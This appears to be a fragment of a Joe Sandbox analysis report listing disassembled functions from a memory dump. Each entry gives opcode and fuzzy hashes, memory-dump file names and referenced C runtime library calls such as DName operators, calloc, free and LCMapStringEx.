Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: 106ac40dc50e0c994fb0e9b40e70c01128b6e9ca8342f387f887259842b4f5a4
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: C6C15E73D9B9F249CB3A852D481826BEE636E92B4131BC3D1DCD13F3CAC6266D0599D0

Function 006051BB Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: 189fc22a6587088424da18ffecb5d29c9b05d42edd99081292f0c5f981db27a0
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: F1B16133D9B9B205CB3A852D08542BBEEA36E9274131BC3D4DCD13F3C9C226AD1599D0

Function 005F36FD Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: b9ad51a9b50f196b4c495a5103fb83b5f21c78fd18b06302fedf9a35ebca689b
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 8B21EB21670AE306CB845FF8FCC0122ABD1DBCD21B75EC279CF50C9166D16DE7228590

Function 005D9076 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fd161ad71b083437cb9e7b5467f0ba713d648eb94ba202ec0c01540f5fd4838
Instruction ID: 43ffd5f2d1850a0049f81f8db3b5be0c5ec7321ebc36dcfee0f9e759b1401037
Opcode Fuzzy Hash: 7fd161ad71b083437cb9e7b5467f0ba713d648eb94ba202ec0c01540f5fd4838
Instruction Fuzzy Hash: 71215DB5D0020A8FCB54CFA9D4816EEFBF4BB48320F54846ACA56B3350E634AA45CF94

Function 005D9385 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b96ebec251c73fbd9af870bd79f0c37c8e6074bb496db9a63e8b56e2cdc48c98
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: F4F05E32900100ABCB21CF59D804AAAFBB8EB43360F253456E409F3240C330ED00AA98

Function 005C7ED8 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5566999e0ab72da053a8abcc3324ddc8aa4becb6fcadd465fa76c36a84b4dcdd
Instruction ID: b82f5d6ff192fc26c2967163723e78f97693359aad76213405de19ccbed48dd2
Opcode Fuzzy Hash: 5566999e0ab72da053a8abcc3324ddc8aa4becb6fcadd465fa76c36a84b4dcdd
Instruction Fuzzy Hash: 2EE04632915228EFCB15DBC88948E8AFAECFB89B40B11049EB502D3201C270DE00CBD0

Function 005F0582 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 005B208F Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8359cf694b969ff1de6e9971bd6f9a266fa0cb5a1312d1a412744e6b46e045b
Instruction ID: 17385b264bb8c5cc195829a9aa54b75a97718bc0d8463385a8e8c833a45ff777
Opcode Fuzzy Hash: f8359cf694b969ff1de6e9971bd6f9a266fa0cb5a1312d1a412744e6b46e045b
Instruction Fuzzy Hash: A9D0C97A601910DFC310CF09E440D41F7B5FB9D6307164156E94493720C330FC01CAD0

Function 005BEE8C Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a143222fbadcdda3babb2bd23adbde204d1ca1d3ff22d9f4b52ceee6d3db84ec
Instruction ID: 9e98845232982115d7101c3f117f15f300a2c55671255aa39fd209d452dcc49d
Opcode Fuzzy Hash: a143222fbadcdda3babb2bd23adbde204d1ca1d3ff22d9f4b52ceee6d3db84ec
Instruction Fuzzy Hash: DBC08C35010E008ACF39992082B37E4376CB3E1782F8828CCC4030BB42C61EEC83DB00

Function 005D9362 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 005D937A Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 005FA54E Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 005FA569

Part of subcall function 005F7678: DName::DName.LIBCMT ref: 005F768B
Part of subcall function 005F7678: DName::operator+.LIBCMT ref: 005F7692

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: 7291a484826cbd7b0dc9d51546f0dfcb26c8b59ed4d95264afca1b280d5461e5
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: 73D110B190020DAFDB14EFA8D885AFEBFB4FF48340F104466E605E7251EB789A45CB52

Function 005FB296 Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 005FB435
DName::operator=.LIBCMT ref: 005FB4E3
DName::operator+=.LIBCMT ref: 005FB50E
DName::DName.LIBCMT ref: 005FB573
DName::operator+.LIBCMT ref: 005FB57A
DName::DName.LIBCMT ref: 005FB59D
DName::operator+.LIBCMT ref: 005FB5A4
DName::operator+=.LIBCMT ref: 005FB5B0
DName::operator=.LIBCMT ref: 005FB5D7
DName::operator+=.LIBCMT ref: 005FB5E9
UnDecorator::getPtrRefType.LIBCMT ref: 005FB612
operator+.LIBCMT ref: 005FB624

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: 8c5d97ba051719484bd5dccf6f3751aa94a4e7c1a39604378c8ebf7eb53a78e8
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: 4691DF7190420EEAEF28DF68C98AABD7F75BF08351F248556E711D7292E73C9A40CA14

Function 00600B0C Relevance: 22.6, APIs: 15, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00600B25
__calloc_crt.LIBCMT ref: 00600B49
_free.LIBCMT ref: 00600B57
__calloc_crt.LIBCMT ref: 00600B65
_free.LIBCMT ref: 00600B75
_free.LIBCMT ref: 00600B7B
__copytlocinfo_nolock.LIBCMT ref: 00600B8A
___removelocaleref.LIBCMT ref: 00600BA3
___freetlocinfo.LIBCMT ref: 00600BAA
_free.LIBCMT ref: 00600BB0
__setmbcp_nolock.LIBCMT ref: 00600BC2
_free.LIBCMT ref: 00600BD0
___removelocaleref.LIBCMT ref: 00600BD7
___freetlocinfo.LIBCMT ref: 00600BDE
_free.LIBCMT ref: 00600BE4

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 4018787799-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 338354f8c093bf2dfcd68ed43a713ffc58253edecdb2be439e8b7ecf696dbd95
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: E521D935184506EBE7297F15D80AE6B7FDAFF80B24F20442DF648561A1EF369901C654

Function 005BA438 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 005BA557
___TypeMatch.LIBVCRUNTIME ref: 005BA665
_UnwindNestedFrames.LIBCMT ref: 005BA7B7
CallUnexpected.LIBVCRUNTIME ref: 005BA7D2

Strings

csm, xrefs: 005BA475
csm, xrefs: 005BA58E
csm, xrefs: 005BA4E2

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 342e5a4c5be6df9e599c47e8a4ff7fcd698a588d5d8ce31b25fb8af0b2049e46
Instruction ID: b68c89b84124ddc7cb5d595d0574c664590437e6f7675b52dd9be55d09911b12
Opcode Fuzzy Hash: 342e5a4c5be6df9e599c47e8a4ff7fcd698a588d5d8ce31b25fb8af0b2049e46
Instruction Fuzzy Hash: B0B136B180020AEFCF25DFA4C9859EEBFB5FF44310F54415AE8116B252DB31EA51CB92

Function 005C4623 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 005C489C

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 345d5bcf418cd13cc0bf67877e167475996fce01ceeb2daefa6ad96f05556232
Instruction ID: a92f5729d3622b33a13135668b0f117174ef9e3c307e21881d466cef526bd259
Opcode Fuzzy Hash: 345d5bcf418cd13cc0bf67877e167475996fce01ceeb2daefa6ad96f05556232
Instruction Fuzzy Hash: 21B1AF70A0024AAFEB11DFD9C8A5FAE7FB5BF95300F14415DE441AB292C7B19942CFA1

Function 005F793A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getArgumentList.LIBCMT ref: 005F795F

Part of subcall function 005F74FA: Replicator::operator[].LIBCMT ref: 005F757D
Part of subcall function 005F74FA: DName::operator+=.LIBCMT ref: 005F7585

DName::operator+.LIBCMT ref: 005F79B8
DName::DName.LIBCMT ref: 005F7A10

Strings

D;C, xrefs: 005F79A4
4;C, xrefs: 005F79F3
8;C, xrefs: 005F79AB
(;C, xrefs: 005F79FA

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction ID: a66e99db470179dee9e2715cb30b329433906d744c1156e368e0d9a7f9f0d3ef
Opcode Fuzzy Hash: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction Fuzzy Hash: 72217F3060524DAFCB15DF1CD5449B9BFB4FF4934AB0480A5E986CB266EB38EA42CB54

Function 005B6AC7 Relevance: 12.2, APIs: 8, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 005B6B10
__alloca_probe_16.LIBCMT ref: 005B6B3C
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 005B6B7B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B6B98
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 005B6BD7
__alloca_probe_16.LIBCMT ref: 005B6BF4
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B6C36
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 005B6C59

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 47fcbcbb0248ee20b283d05ca34be9d5c3c9fa08924e99d08987ef6e3903cb54
Instruction ID: d21fc417b9d0667e938e8f16190b3be7cc00391dd8d6187f4cb07c727d7838ff
Opcode Fuzzy Hash: 47fcbcbb0248ee20b283d05ca34be9d5c3c9fa08924e99d08987ef6e3903cb54
Instruction Fuzzy Hash: 0B516B7250060AAFEB209F64CC49FEA7FB9FF84740F244525F955E6190EB78AC109BA0

Function 005C1BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,005C1D08,?,?,00000000,00000000,?,?,005C1EB6,00000021,FlsSetValue,005D13A8,005D13B0,00000000), ref: 005C1CBC

Strings

api-ms-, xrefs: 005C1C52
ext-ms-, xrefs: 005C1C66

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
